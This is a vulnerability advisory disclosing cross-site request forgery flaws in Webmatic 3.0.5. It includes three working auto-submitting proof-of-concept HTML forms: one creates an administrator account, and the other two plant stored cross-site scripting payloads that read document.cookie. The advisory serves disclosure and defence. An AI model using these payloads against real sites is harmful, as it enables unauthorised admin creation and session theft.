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Cross-site Request Forgery (CSRF) Vulnerabilities in Webmatic

Advisory ID:HTB22568
Product:Webmatic
Vendor:Valarsoft
Vulnerable Versions:3.0.5 and probably prior
Tested Version:3.0.5
Advisory Publication:August 9, 2010 [without technical details]
Vendor Notification:August 9, 2010
Public Disclosure:August 23, 2010
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Webmatic which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in Webmatic
1.1 The vulnerability exists due to insufficient validation of the request origin in index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create users with arbitrary privileges.
Exploitation example:
<form action="http://host/index.php" method="post" name="main" >
<input type="hidden" name="groupID" value="1" />
<input type="hidden" name="name" value="username" />
<input type="hidden" name="surname" value="user" />
<input type="hidden" name="avatar" value="bsd.png" />
<input type="hidden" name="address" value="" />
<input type="hidden" name="zip_code" value="" />
<input type="hidden" name="city" value="" />
<input type="hidden" name="stateID" value="0" />
<input type="hidden" name="countryID" value="0" />
<input type="hidden" name="phone" value="" />
<input type="hidden" name="fax" value="" />
<input type="hidden" name="cell" value="" />
<input type="hidden" name="email" value="email@example.com" />
<input type="hidden" name="website" value="" />
<input type="hidden" name="icq" value="" />
<input type="hidden" name="birth_date" value="0000-00-00" />
<input type="hidden" name="birth_date" value="0000-00-00" />
<input type="hidden" name="birth_date" value="0000-00-00" />
<input type="hidden" name="gender" value="M" />
<input type="hidden" name="birth_city" value="" />
<input type="hidden" name="birth_stateID" value="0" />
<input type="hidden" name="birth_countryID" value="0" />
<input type="hidden" name="enabled" value="1" />
<input type="hidden" name="notes" value="" />
<input type="hidden" name="admin" value="1" />
<input type="hidden" name="send" value="Save" />
<input type="hidden" name="stage" value="2" />
<input type="hidden" name="section" value="13" />
<input type="hidden" name="action" value="232" />
<input type="hidden" name="userID" value="7" />
</form>
<script>
document.main.submit();
</script>

1.2 The vulnerability exists due to insufficient validation of the request origin in index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and edit website settings. Due to insufficient sanitation of input data in the “home” parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website. Successful exploitation requires that victim is logged-in as an administrator.
Exploitation example:
<form action="http://host/index.php" method="post" name="main" >
<input type="hidden" name="browser_bar_title" value="Webmatic" />
<input type="hidden" name="title" value="Welcome to Webmatic" />
<input type="hidden" name="special_user_label" value="Special user" />
<input type="hidden" name="staff_name" value="Webmatic editorial staff" />
<input type="hidden" name="home" value='Webmatic its2"><script>alert(document.cookie)</script>' />
<input type="hidden" name="foot" value="" />
<input type="hidden" name="signalation_email_subject" value="Subject" />
<input type="hidden" name="signalation_email_text" value="text" />
<input type="hidden" name="user_registration_email_subject" value="Subject" />
<input type="hidden" name="user_registration_email_text" value="text" />
<input type="hidden" name="send" value="Save" />
<input type="hidden" name="languageID" value="1" />
<input type="hidden" name="stage" value="2" />
<input type="hidden" name="section" value="21" />
<input type="hidden" name="action" value="578" />
</form>
<script>
document.main.submit();
</script>

1.3 The vulnerability exists due to insufficient validation of the request origin in index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify items. Due to insufficient sanitation of input data in the “subtitle” parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website. Successful exploitation requires that victim is logged-in as an administrator.
Exploitation example:
<form action="http://host/index.php" method="post" name="main" >
<input type="hidden" name="title" value="pagetest" />
<input type="hidden" name="subtitle" value='some subtitle and"><script>alert(document.cookie)</script>' />
<input type="hidden" name="enabled" value="1" />
<input type="hidden" name="categoryID" value="1" />
<input type="hidden" name="page_type" value="1" />
<input type="hidden" name="visibility" value="1" />
<input type="hidden" name="groupID" value="1" />
<input type="hidden" name="backID" value="0" />
<input type="hidden" name="left_panels_enabled" value="1" />
<input type="hidden" name="right_panels_enabled" value="1" />
<input type="hidden" name="render_mode" value="2" />
<input type="hidden" name="head" value="" />
<input type="hidden" name="body" value="" />
<input type="hidden" name="hr_width" value="100" />
<input type="hidden" name="hr_size" value="1" />
<input type="hidden" name="hr_align" value="0" />
<input type="hidden" name="img_picture" value="1.gif" />
<input type="hidden" name="img_border" value="0" />
<input type="hidden" name="a_link" value="1" />
<input type="hidden" name="a_url" value="" />
<input type="hidden" name="a_text" value="" />
<input type="hidden" name="foot" value="" />
<input type="hidden" name="send" value="Save" />
<input type="hidden" name="stage" value="2" />
<input type="hidden" name="section" value="14" />
<input type="hidden" name="action" value="216" />
<input type="hidden" name="pageID" value="2" />
</form>
<script>
document.main.submit();
</script>

How to Detect Cross-Site Request Forgery Vulnerabilities
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Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22568 - https://www.immuniweb.com/advisory/HTB22568 - Cross-site Request Forgery (CSRF) Vulnerabilities in Webmatic
[2] Webmatic - valarsoft.com - Webmatic is a system for dynamically creating a Web site directly on-line.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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